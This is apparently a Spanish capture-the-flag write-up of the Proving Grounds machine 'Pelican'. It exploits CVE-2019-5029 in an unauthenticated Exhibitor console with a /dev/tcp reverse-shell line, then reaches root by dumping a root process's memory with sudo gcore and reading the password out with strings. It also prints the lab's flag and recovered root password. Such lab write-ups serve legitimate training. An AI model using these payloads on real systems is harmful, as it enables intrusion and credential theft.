the_open_door
café
ESEN

Pelican

Proving Grounds PracticeMediaLinux192.168.175.98

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#exhibitor#zookeeper#cve-2019-5029#command-injection#rce#reverse-shell#sudo#gcore#memory-dump#password-store#privilege-escalation
TL;DR. Pelican es una caja Linux con mucha superficie. La pieza clave es un Exhibitor (supervisor web de ZooKeeper) en el 8080, al que redirige el nginx del 8081. Exhibitor no tiene autenticación y su campo de configuración java.env script se ejecuta como parte del arranque: CVE-2019-5029 convierte eso en inyección de comandos. Escribimos una reverse shell en ese campo, pulsamos Commit y caemos como charles. Para root, charles puede ejecutar gcore con sudo sin contraseña; volcamos la memoria del proceso password-store que corre como root (volcado de memoria con gcore) y strings revela la contraseña de root en claro.

Reconocimiento

Escaneo inicial

ping -c 1 192.168.175.98
64 bytes from 192.168.175.98: icmp_seq=1 ttl=61 time=30.0 ms

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido UDP solo deja un 5353/udp (mDNS), así que el peso recae en el TCP, que devuelve una lista larga:

nmap -sU --min-rate 5000 -Pn -n --open --top-ports 1000 192.168.175.98
nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.175.98
PORT      STATE SERVICE
22/tcp    open  ssh
139/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn
631/tcp   open  ipp
2181/tcp  open  zookeeper
2222/tcp  open  ssh
8080/tcp  open  http
8081/tcp  open  http
46295/tcp open  java-rmi
nmap -p22,139,445,631,2181,2222,8080,8081,46295 -sCV 192.168.175.98
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp   open  ipp         CUPS 2.2
2181/tcp  open  zookeeper   Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp  open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8080/tcp  open  http        Jetty 1.0
8081/tcp  open  http        nginx 1.14.2
46295/tcp open  java-rmi    Java RMI

Hay mucho ruido (Samba, CUPS, dos SSH, Java RMI), pero tres puertos cuentan la misma historia: 2181 es ZooKeeper (un coordinador distribuido), 8080 es un Jetty y 8081 es un nginx que, al visitarlo, redirige a http://192.168.175.98:8080/exhibitor/v1/ui/index.html. Exhibitor es la interfaz web que supervisa ZooKeeper: ese trío (ZooKeeper + Jetty + Exhibitor) es la superficie real.

HTTP - TCP 8080: Exhibitor para ZooKeeper

La redirección lleva a la consola de Exhibitor 1.0. La pestaña Config muestra los parámetros de arranque de ZooKeeper y, lo importante, deja editarlos sin pedir credenciales:

consola web de Exhibitor 1.0 con la pestaña Config y el campo java.env script

Entre los campos editables está java.env script, que Exhibitor vuelca a un fichero java.env y ejecuta al (re)arrancar el supervisor. Una interfaz sin autenticación que escribe y ejecuta un script es justo lo que hay que mirar.

Explotación

CVE-2019-5029: inyección de comandos en Exhibitor

La falta de autenticación combinada con ese campo ejecutable es CVE-2019-5029: una inyección de comandos sin autenticar que lleva a RCE. El aviso público (exploit-db 48654) describe el procedimiento exacto: en el campo java.env script, cualquier comando rodeado de $() o comillas invertidas se ejecuta al hacer Commit.

aviso de CVE-2019-5029 en exploit-db: inyectar el comando en java.env script

Ponemos el conmutador Editing en ON, escribimos una reverse shell en java.env script y pulsamos Commit:

Antes de disparar la shell, dejamos un nc a la escucha:

nc -nlvp 4444
$(/bin/sh -i >& /dev/tcp/192.168.45.239/4444 0>&1)

inyección de la reverse shell en el campo java.env script de Exhibitor

Config   (Editing: ON)   [ Commit... ]

Paths
  ZooKeeper Install Dir:   /opt/zookeeper
  ZooKeeper Snapshot Dir:  /zookeeper/data

Ensemble
  Servers:            1:pelican
  Additional Config:  syncLimit=5
                      tickTime=2000
                      initLimit=10
  java.env script:    $(/bin/sh -i >& /dev/tcp/192.168.45.239/4444 0>&1)

Para que el cambio se aplique hay que confirmar con Commit > All At Once > OK; Exhibitor avisa de que reiniciará la instancia, que es justo lo que dispara la ejecución:

confirmación Commit All At Once que reinicia la instancia y ejecuta el script

Shell como charles

Con un listener a la espera, el reinicio ejecuta el java.env y recibimos la conexión. La estabilizamos a una pty con python3 y confirmamos el usuario:

reverse shell recibida como charles tras el Commit

charles@pelican:/opt/zookeeper$ id
uid=1000(charles) gid=1000(charles) groups=1000(charles)
charles@pelican:/opt/zookeeper$ cat /home/charles/local.txt

charles ya da acceso a local.txt. El siguiente objetivo es root.

Escalada de privilegios

sudo gcore: volcar la memoria de password-store

Lo primero al aterrizar es revisar sudo -l, y aquí hay un permiso muy concreto: charles puede ejecutar gcore como cualquier usuario sin contraseña. En paralelo, ps muestra un proceso de root que llama la atención:

sudo -l
ps -faux | grep -i password
User charles may run the following commands on pelican:
    (ALL) NOPASSWD: /usr/bin/gcore

root   490  ...  /usr/bin/password-store

gcore (de GDB) genera un core dump (una instantánea de la memoria) de un proceso en marcha. Si lo lanzamos con sudo contra el PID del password-store de root, obtenemos un fichero con la memoria de ese proceso, y un gestor de contraseñas mantiene secretos en memoria (volcado de memoria con gcore):

sudo gcore -o passwordstore 490
strings passwordstore.490 | grep -i pass -A 2

sudo -l y ps identifican el PID 490; sudo gcore vuelca ese proceso y strings saca la contraseña de root del core

charles@pelican:/tmp$ sudo gcore -o passwordstore 490
Saved corefile passwordstore.490
[Inferior 1 (process 490) detached]
charles@pelican:/tmp$ strings passwordstore.490 | grep -i pass -A 2
password-store
/usr/bin/password-store
...
001 Password: root:
ClogKingpinInning731

Entre las cadenas del volcado aparece la contraseña de root en claro: ClogKingpinInning731.

Shell como root

Con esa contraseña, un su root cierra la caja:

su root
whoami && ip a

su root con la contraseña recuperada: el prompt pasa a root@pelican y whoami devuelve root

charles@pelican:/tmp$ su root
Password:
root@pelican:/tmp# whoami && ip a
root
3: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...
    inet 192.168.175.98/24 brd 192.168.175.255 scope global noprefixroute ens192

Y ya como root, la prueba final:

cat /root/proof.txt && whoami && ip a && hostname

proof.txt leída como root en pelican

b4e8e987f1337e5d77259aa8949808c8
root
pelican
root@pelican:/tmp# whoami
root
root@pelican:/tmp# cat /root/proof.txt
b4e8e987f1337e5d77259aa8949808c8
root@pelican:/tmp# hostname
pelican

Cadena de ataque

HTTP 8081 (nginx) → redirige a 8080 /exhibitor/v1/ui/  (Exhibitor 1.0 para ZooKeeper)
   └── Config sin autenticación: campo java.env script  ── CVE-2019-5029
        └── $(/bin/sh -i >& /dev/tcp/<atacante>/4444 0>&1) ; Commit > All At Once
             └── reverse shell como charles  (local.txt)
                  └── sudo -l: (ALL) NOPASSWD: /usr/bin/gcore
                       └── sudo gcore -o passwordstore 490  (proceso password-store de root)
                            └── strings → contraseña de root  ── su root  (proof.txt)

Lecciones aprendidas

  • Sigue las redirecciones, no solo los puertos. El 8081 parecía un nginx más; su redirección al 8080/exhibitor/ era la que destapaba toda la cadena. Tres servicios (ZooKeeper, Jetty, Exhibitor) contaban la misma historia.
  • Una consola de administración sin autenticación que ejecuta scripts es RCE. Exhibitor escribía y ejecutaba java.env; sin login, CVE-2019-5029 solo hay que rellenar un campo y pulsar Commit.
  • gcore con sudo es un volcado de secretos. Cualquier permiso que permita leer la memoria de un proceso ajeno (gcore, gdb, /proc/<pid>/mem) expone lo que ese proceso guarda en claro; aquí, la contraseña de root que manejaba el password-store.
  • Revisar sudo -l siempre es el primer paso. Un único binario permitido sin contraseña fue toda la escalada. No hizo falta ningún kernel exploit.
Cheatsheet de comandos 13 comandos

Repaso rápido